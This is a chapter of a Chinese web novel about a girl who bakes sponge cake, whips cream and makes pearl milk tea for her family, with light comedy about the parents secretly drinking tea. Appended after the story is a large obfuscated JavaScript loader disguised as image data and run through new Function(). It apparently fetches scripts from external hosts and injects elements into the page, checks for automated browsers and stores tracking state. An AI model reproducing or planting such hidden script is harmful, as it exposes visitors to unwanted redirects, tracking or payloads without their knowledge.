066制作甜品(2 / 2)

之后就开始了漫长的等待过程。

其间还得控制好火候。

林糯糯拿不准时间,只知道大概是四五十分钟的样子,而这里只能看日晷计时,不过她早就做了个沙漏出来,漏完刚好是半个小时,能大致计算出时间。

因着怕烤糊了,所以半个小时一到,林糯糯就打开面包窑看了看。

再把蛋糕盘掉转一下方向,让其均匀受热。

又估摸着过了十几二十分钟的样子,林糯糯觉得现在那蛋糕胚差不多就烤好了。

哪怕是不看时间,其实闻着那飘出来的香味,就知道这蛋糕胚已经差不多可以出炉了。

要说香味诱人,还得是那种老式的方块海绵蛋糕,一块块松软可口的,最纯粹的原味,比那些花里胡哨的新式面包更简单不说,还让人百吃不腻。

凡是经过那些老式面包房的人,就能知道,这蛋糕烤出来的香味有多霸道了。

走路上隔了老远,也能闻见这香甜诱人的味道。

蛋糕新鲜出炉,林糯糯把蛋糕盘端出来,将厚厚的手套一摘,迫不及待的就用刀切割起蛋糕来。

才出炉的蛋糕胚还冒着热气,上面是金黄诱人的蜂蜜色泽,吃起来软绵绵的,蓬松又柔软的口感,表皮却是酥酥脆脆还带着点蛋香味,这香味直往人的鼻子里钻,哪怕是还很烫嘴,也忍不住让人往嘴里一直送。

李婉娘和林大山一面吃,一边赞叹。

这蛋糕胚可是他们从来没吃过的美味,有些类似糕点,可却又是另外一种不同的滋味。

其实林糯糯烤得时间有些长了,个别部分有些焦黄,但李婉娘他们却觉得,焦掉的地方依旧好吃,酥脆得要命!

虽然这里没有现代那么方便的烤箱,不过做出来的蛋糕味道也不错。

林糯糯嘴里咬着蛋糕块,又打起了奶油的主意。

用牛奶和黄油,以一种特定比例加在一起打发出来,就能做出来自制奶油了。

至于这个打发的累人过程嘛……

林糯糯笑眯眯的看向林言和林大山。

林言吃蛋糕的动作顿了顿,露出一个无奈的苦笑。

每次当林糯糯笑得一脸狗腿讨好的望着他时,他就知道,自己又要做苦力了。

打发是一个漫长而累人的过程。

但当奶油被打发出来的时候,看到林糯糯小脸上露出满意而欣慰的笑容,林言便觉得,再苦再累也是值得的。

况且,这奶油也不是为了她自己嘛,好东西,大家可以一起吃。

将蛋糕胚切成薄薄的一小片一小片,一层蛋糕胚一层奶油的抹,如此反复几次,做成一个奶油三明治蛋糕,一口下去,奶油和蛋糕胚的味道完美融合。

腻滑而爽口的奶油,入口即化,绵软香甜的蛋糕胚,甜而不腻。

组合在一起,无疑是最美味的甜品。

几人吃得是赞不绝口。

虽然打发蛋清和奶油很累人,但为了这一口吃的,也是值得的。

有了这面包窑,那真真是万物皆可烤了。

蛋挞、面包、玉米、红薯……总之,林糯糯都尝试了个遍。

虽然有偶尔翻车烤糊烤焦的,但因为这吃法新奇,所以每次一家人也从来不会浪费食物,而是把东西都吃得干干净净。

蛋糕面包和蛋挞都捣鼓出来了,怎么能缺得了奶茶呢?

相较于复杂一点的面包,这奶茶不要太简单。

就是需要花大价钱,多多采购牛乳罢了。

那茶叶和糖块先放锅里,慢慢的煎着化开,接着就把提前煮沸好杀过菌的牛乳倒进去,慢慢搅拌着,让茶与奶逐渐融合。

这个过程中,她还能腾出手来做珍珠。

买来的木薯粉加水和糖搓成小圆子的形状,接着水开下锅煮一会,之后就可以捞起过冷水了。

过完冷水后就是一颗一颗的形状了,若是不过冷水,那珍珠则会黏在一起。

珍珠准备就绪,那边奶茶也飘出了甜腻的香味。

林糯糯为了喝奶茶,还特地让林大山和林言砍了竹筒回来,当作奶茶杯。

以及挑选了大小合适的竹子,将其砍下来一截,用那手指粗细的小竹筒做成了一根根吸管。

竹杯和吸管由李婉娘负责细细洗干净,煮好的奶茶过筛了茶叶后,倒入杯内,再捞起珍珠加入其中,插入竹管,就可以开始吨吨吨的喝奶茶了。

林糯糯咬着那嚼劲十足的珍珠,美滋滋的眯起眼睛。

奶香和茶味完美融合在一起,香滑中透着一丝清甜,甜度刚刚好,林糯糯并没有放太多糖,反正若是甜度不够,最后还能各自往里面加糖调味。

若是做得太甜了,那就没办法抢救了。

她喝得心满意足。

林大山发现,这奶茶的滋味,比酒还要好哩!

他嫌弃那吸管喝的太慢,直接放弃了吸管,径直端起竹筒,仰头一口就喝了一大半杯下去。

真正做到了吨吨吨喝奶茶。

出乎意料的,林言竟然意外的喜欢吃这类甜品。

不论是蛋糕奶油还是蛋挞面包,或者是今天的珍珠奶茶,他都来者不拒。

看似不声不响,没有表现出特别喜爱的样子,实际上每次都吃得一干二净,连渣子都不剩。

如果不是听到林言过于丰富的心声,林糯糯差点都要被他那淡然的假象给骗了。

【好吃。】

【真香。】

【天底下竟然会有如此美味的糕点……】

【还想再来一杯。】

【今天也想吃脆脆香香的蛋挞,糯糯今天会烤吗?想吃!】

【这名为珍珠的小丸子滋味真不错。】

……

诸如此类的心声,每天都能在林糯糯的脑子里响起来。

林糯糯:好了好了知道啦,知道你是一个甜品控了。

不过这甜品虽好,但也不能天天吃,不然很容易就发胖什么的,总之,还是得控制一下。

虽然李婉娘他们都很喜欢这甜品的滋味,不过听林糯糯说了其中危害后,还是明白了她的良苦用心。

况且那每次采购原料,糖和牛乳,都是一笔不小的开销。

还有那打发过程,实在是令人痛并快乐着,若是每天如此,也吃不消。

因此,一家人约定,每半个月吃一次“下午茶”。

林糯糯原本以为大家都很老实。

直到某天下午,她收购油菜花回家,撞见李婉娘和林大山鬼鬼祟祟躲在灶房里偷喝奶茶的情景。

两人那局促又尴尬的表情,实在是滑稽,令人忍俊不禁。

不过他们也只是偶尔偷喝一次,林糯糯也就睁一只眼闭一只眼,当作没看到。

倒是李婉娘和林大山自己闹了个大红脸,觉得怪不好意思的。

他们以后不再偷喝了?

不。

他们在后山砌了个小灶,偷摸藏着个小锅,为了喝上一口奶茶,宁可在后山蹲着喝完了,消灭了所有罪证,才大摇大摆的回家。

风雨无阻。

至于林糯糯为什么知道?

他们掩饰得很好。

她还是通过林言的心声才发现,林言也是帮凶之一。

【今天又和林叔林姨偷喝了奶茶,看糯糯的样子应该没有发现,不错,越来越娴熟了。】

林糯糯听了后,哭笑不得,但也只能装作什么都不知道的样子。

!function(){function a(a){var _idx="z5palo1gvz";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR84nJdqO}pX4"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"4nJdqO}pX4"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mhfO76RqmRT4"="o}0X5ThF)mT)7F56RmRT4"="o}02pThFmhfO76RqmRT4"="o}0_JqhFmT)7F56RmRT4"="o}02TOhFmhfO76RqmRT4"="o}0CSqhF)mT)7F56RmRT4"="o}0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q/f/o}0j(8}vR84nJdqO}pX4"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();